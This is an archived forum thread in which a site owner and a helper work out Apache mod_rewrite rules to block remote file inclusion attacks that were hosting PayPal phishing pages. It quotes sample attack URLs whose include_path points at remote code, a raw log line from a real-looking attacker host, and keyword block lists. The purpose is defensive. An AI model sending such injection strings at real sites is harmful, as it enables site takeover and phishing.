Removing multiple "/"s --> URL Injection Attack

Fix it!!

Removing multiple "/"s --> URL Injection Attack

Postby broncozr » Mon Sep 15, 2008 1:49 pm

Hi,

My site has been the object of numerous URL injections with the purpose of showing faux/phishing-type Paypal sites. Often the URLs will include something like this:
index.php?include_path=http://malicioussite.com/malicious_code.txt%0a???

I have filtered out the bad words in the query string (including multiple "//"s). I am having trouble removing multiple "/"s from the domain name and subdirectories. I'm not sure why the hackers are putting that in the URLs, but, when I do it, it seems to have an effect. For example,

http://mydomain.com//subdirectory//subd ... rystring=x

OR

http://mydomain.com//subdirectory//subd ... rystring=x

I realize that sending all of these to a 404 page risks thwarting harmless users, but my web host is threatening to pull the plug on my site if this continues! Here is my .htaccess as it stands now. Any suggestions would be appreciated. At this point, I'm interested in the strongest possible measures to redirect/intercept malicious URLs. I'm at a loss as to how to remove the double "/"s????

Thanks

Code: Select all
Options +FollowSymlinks
RewriteEngine on

RewriteCond %{QUERY_STRING} chdir|upload|include_path|hack|file|http://|ftp [NC,OR]
RewriteCond %{QUERY_STRING} paypal|config|myftp|include|txt [NC]
RewriteRule (.*) 404.php

# NEXT LINE SUCCESSFULLY REMOVES MULTIPLE
# SLASHES IN QUERY_STRING.....
# IT ALSO HANDLES LINE FEEDS.....
# AND "?"s.......
RewriteCond %{QUERY_STRING} [/]{2,}|%0D|%0A|\?  [NC]
RewriteRule (.*) 404.php
broncozr
 
Posts: 8
Joined: Mon Sep 15, 2008 1:03 pm

Postby richardk » Tue Sep 16, 2008 11:41 am

Try
Code: Select all
Options +FollowSymLinks

RewriteEngine On

RewriteCond %{THE_REQUEST} //
RewriteCond %{QUERY_STRING} chdir|upload|include_path|hack  [NC,OR]
RewriteCond %{QUERY_STRING} paypal|config|myftp|include|txt [NC,OR]
RewriteCond %{QUERY_STRING} //|%0D|%0A|\?|file|http://|ftp     [NC]
RewriteRule .* /404.php [L]
richardk
 
Posts: 8800
Joined: Wed Dec 21, 2005 7:50 am

Postby broncozr » Tue Sep 16, 2008 12:45 pm

Thanks for the reply.

The {THE_REQUEST} and {QUERY_STRING} variables do seem show the "//"s better than some of the others!

I have found a great mod_rewrite tool in this article:

http://www.askapache.com/htaccess/crazy-advanced-mod_rewrite-tutorial.html

It retrieves all of the available mod_rewrite variables (e.g. QUERY_STRING) and parks them in an HTTP header. You can use .php to retrieve them. He has example code that you can use.

Unfortunately, my web host apparent has these potentially useful ones turned off:
SCRIPT_URI, ORIG_SCRIPT_NAME, ORIG_SCRIPT_FILENAME, ORIG_PATH_INFO

I can't turn those on in .htaccess, can I (I don't have access to httpd.conf)?

Additionally, I'm redirecting using an external direct (which I've read is inefficient), but it's the only way that I've found that will print out all of the activity in my raw access log. For example, using an external redirect, my raw access shows something like this:

111....... 12:00pm GET //include_path=http://badserver.com/malicious.txt HTTP"
111....... 12:00pm 404.php

That way, I can see what they're going to try next!!!!! If there is a cleaner way to do that, then that would be great! Is there a way to setup the RewriteLog or RewriteLogLevel in .htaccess or is that controlled by httpd.conf?

Thanks for your time and any additional suggestions.
broncozr
 
Posts: 8
Joined: Mon Sep 15, 2008 1:03 pm

Postby richardk » Fri Sep 19, 2008 6:59 am

Unfortunately, my web host apparent has these potentially useful ones turned off:
SCRIPT_URI, ORIG_SCRIPT_NAME, ORIG_SCRIPT_FILENAME, ORIG_PATH_INFO

I can't turn those on in .htaccess, can I (I don't have access to httpd.conf)?

What is supposed to be in them? I don't have them either. Environmental variables.

Additionally, I'm redirecting using an external direct (which I've read is inefficient), but it's the only way that I've found that will print out all of the activity in my raw access log. For example, using an external redirect, my raw access shows something like this:

111....... 12:00pm GET //include_path=http://badserver.com/malicious.txt HTTP"
111....... 12:00pm 404.php

It's less efficient because it causes a new HTTP request, but unless you get a lot of these requests it's unlikely to be a problem. Or, instead of redirecting to 404.php you could send a forbidden status with the F flag.
Code: Select all
RewriteRule .* - [F,L]


Is there a way to setup the RewriteLog or RewriteLogLevel in .htaccess or is that controlled by httpd.conf?

It has to be done in the httpd.conf file.
richardk
 
Posts: 8800
Joined: Wed Dec 21, 2005 7:50 am

Postby broncozr » Fri Sep 19, 2008 10:09 am

Quote:
Unfortunately, my web host apparent has these potentially useful ones turned off:
SCRIPT_URI, ORIG_SCRIPT_NAME, ORIG_SCRIPT_FILENAME, ORIG_PATH_INFO

I can't turn those on in .htaccess, can I (I don't have access to httpd.conf)?


What is supposed to be in them? I don't have them either. Environmental variables.


Apparently undocumented variables???

After reading that guy's article, I wonder if I'm using mod_rewrite for something for which it wasn't intended? Is there a more elegant approach for sanitizing my URLs?

Oh, and btw, is there a way to set a cookie if a RewriteCond is met? I would like to capture all matches and write them to a txt file. I thought that I might do that in the 404 file. I just need a place to park the malicious parts of the URL so that they don't mistakenly get parsed.

In other words, I don't want to do this:
RewriteRule (.*) httpexample://mydomain.com/404.php?erro ... theBadUrl= (the matches from the RewriteConds)
broncozr
 
Posts: 8
Joined: Mon Sep 15, 2008 1:03 pm

Postby richardk » Fri Sep 19, 2008 1:47 pm

Apparently undocumented variables???

Well what do you want that you don't have? ORIG_* variables are probably set by another module, mod_rewrite uses REDIRECT_* variables to store things from before the rewrite. You can use PHP to find out what variables you have (in _SERVER and _ENV).

There's also %{ENV:variable_name} which might have what you want.

After reading that guy's article, I wonder if I'm using mod_rewrite for something for which it wasn't intended? Is there a more elegant approach for sanitizing my URLs?

I don't see any reason not to do it like this. You could do it with your PHP, or another module like mod_security.

Oh, and btw, is there a way to set a cookie if a RewriteCond is met?

You can set cookies in Apache 2.* with the CO flag.
http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html#rewriterule wrote:'cookie|CO=NAME:VAL:domain[:lifetime[:path[:secure[:httponly]]]]' (set cookie)
This sets a cookie in the client's browser. The cookie's name is specified by NAME and the value is VAL. The domain field is the domain of the cookie, such as '.apache.org', the optional lifetime is the lifetime of the cookie in minutes, and the optional path is the path of the cookie. If secure is set to 'secure', 'true' or '1', the cookie is only transmitted via secured connections. If httponly is set to 'HttpOnly', 'true' or '1', the HttpOnly flag is used, making the cookie not accessible to JavaScript code on browsers that support this feature.


You can also set environmental variables with the E flag.
richardk
 
Posts: 8800
Joined: Wed Dec 21, 2005 7:50 am

Postby broncozr » Fri Sep 19, 2008 5:32 pm

The %{THE_REQUEST} variable seems to hold all of the info. that I need to sanitize the URLs. However, each time I think I've got a handle on things, the hackers employ a new approach. Ideally, I would like to capture the raw, original URL (which %{THE_REQUEST} seems to do) and pass it to the error file, where I can then write it to a txt file for myself. The reason I want to do that is because I'm seeing some URLs in my raw access logs that don't seem to be forwarding to the 404 error page. Maybe the access log/Apache just gets busy and "forgets" to log the redirect? :-? URLs like this:

http://mydomain.com//?include path=http://thebaddomain.com/malicious.txt???

When I enter those malicious URLs (e.g. http://thebaddomain.com/malicious.txt???) into a browser, some have php code in them and some prompt me to download/open the file in a dialogue box---not sure what's going on there?!?

I would like to be able to inspect all of the URLs with bad words in them outside of the error log so that I'm positive that I'm catching them. What is the safest way to pass the malicious URLs to the error page with 0 possiblity of PHP parsing it---cookie, http header (via env. variable as in the tutorial that I listed in a previous post), or other??? I'm afraid that if PHP parses is, then I will once again be in trouble with my host!!!

Thanks a lot for your help!!!!
broncozr
 
Posts: 8
Joined: Mon Sep 15, 2008 1:03 pm

Postby richardk » Sat Sep 20, 2008 11:26 am

However, each time I think I've got a handle on things, the hackers employ a new approach.

This approach to the problem is not the best one, blacklists are never complete. The best approach is to validate all user input in your PHP and only allow what you expect. This includes checking for variables (GET, POST and COOKIE) that you don't expect. You should make sure PHP's register_globals is off.

You can obviously do blacklisting as well but you shouldn't rely on it.

Maybe the access log/Apache just gets busy and "forgets" to log the redirect?

That's probably my fault, it should have been
Code: Select all
RewriteCond %{THE_REQUEST} // [OR]


When I enter those malicious URLs (e.g. http://thebaddomain.com/malicious.txt???) into a browser, some have php code in them and some prompt me to download/open the file in a dialogue box---not sure what's going on there?!?

It's likely to still be PHP code, your browser just doesn't understand the mime-type or that mime-type is set to download in your browser.

I would like to be able to inspect all of the URLs with bad words in them outside of the error log so that I'm positive that I'm catching them. What is the safest way to pass the malicious URLs to the error page with 0 possiblity of PHP parsing it---cookie, http header (via env. variable as in the tutorial that I listed in a previous post), or other???

Have you checked the variables that PHP already has?

Or if it doesn't have what you need, and THE_REQUEST has everything you need, i would use that.
Code: Select all
Options +FollowSymLinks

RewriteEngine On

RewriteCond %{THE_REQUEST} // [OR]
RewriteCond %{QUERY_STRING} chdir|upload|include_path|hack  [NC,OR]
RewriteCond %{QUERY_STRING} paypal|config|myftp|include|txt [NC,OR]
RewriteCond %{QUERY_STRING} //|%0D|%0A|\?|file|http://|ftp     [NC]
RewriteRule .* /logger.php [E=THE_REQUEST:%{THE_REQUEST},L]

It'll probably be REDIRECT_THE_REQUEST in your PHP page. You should make the logging file very simple, just in case.
richardk
 
Posts: 8800
Joined: Wed Dec 21, 2005 7:50 am

Postby broncozr » Sat Sep 20, 2008 12:33 pm

Excellent!!! Thanks so much for your help. That code snippet at the end of your post looks like just what I need to capture those bad %{THE_REQUEST}s !!! Not to be paranoid, but is there any chance that the malicious .txt file in the URL would be parsed if I pass it in an env. variable/HTTP header???? How can I make sure that my server doesn't read that txt file?

Hopefully I can make it through this weekend without having my site suspended!!! :D

I have looked at the PHP $_SERVER and $_ENV variables, and the SCRIPT_FILENAME and REQUEST_URI variable seem to hold the most info from a URL that contains the "//"s. In .htaccess (using the tool that I sited before), it looks like %{THE_REQUEST} captures those "//"s the best........

______________________________________________
__________________________________________

That's probably my fault, it should have been
Code:
Code: Select all
RewriteCond %{THE_REQUEST} // [OR]




I had caught that typo, and I think my code was working. I took a closer look at my raw access log, and it looks like the malicious URLs are being redirected. However, in a couple of the bad lines I see something like this:

62.xx.xxx.xx - - [20/Sep/2008:07:23:19 -0600] "GET //?include_path=http://lecis.jw.lt/header.dat? HTTP/1.1" 302 741 "-" "libwww-perl/5.803"

I take it from my reading that the "302" means the file is being redirected. I'm hoping that is good, but I'm not seeing the results of the redirect in the subsequent line?

Most of the time with successful redirects, I see this below the malicious URL (which means it's working):

62.xx.xxx.xx - - [20/Sep/2008:07:34:30 -0600] "GET /404.php?error_here=true HTTP/1.1" 302 534 "-" "libwww-perl/5.79"
62.xx.xxx.xx - - [20/Sep/2008:07:34:31 -0600] "GET /404.php HTTP/1.1" 200 500 "-" "libwww-perl/5.79"


Thanks again for your time!
broncozr
 
Posts: 8
Joined: Mon Sep 15, 2008 1:03 pm

Postby richardk » Sun Sep 21, 2008 11:35 am

Not to be paranoid, but is there any chance that the malicious .txt file in the URL would be parsed if I pass it in an env. variable/HTTP header???? How can I make sure that my server doesn't read that txt file?

The attacks most likely take advantage of register_globals, so as long as it's off you should be OK. In you logging script it should be very simple and you should not use relative paths (to the logging file, that's what the include_path URLs are trying to attack).

I took a closer look at my raw access log, and it looks like the malicious URLs are being redirected. However, in a couple of the bad lines I see something like this:

What have you got that causes redirects?
What exactly is your mod_rewrite?
Do you get redirected if you go to that URL?
richardk
 
Posts: 8800
Joined: Wed Dec 21, 2005 7:50 am

Next

Return to Security with Mod_Rewrite

Who is online

Users browsing this forum: No registered users and 6 guests

cron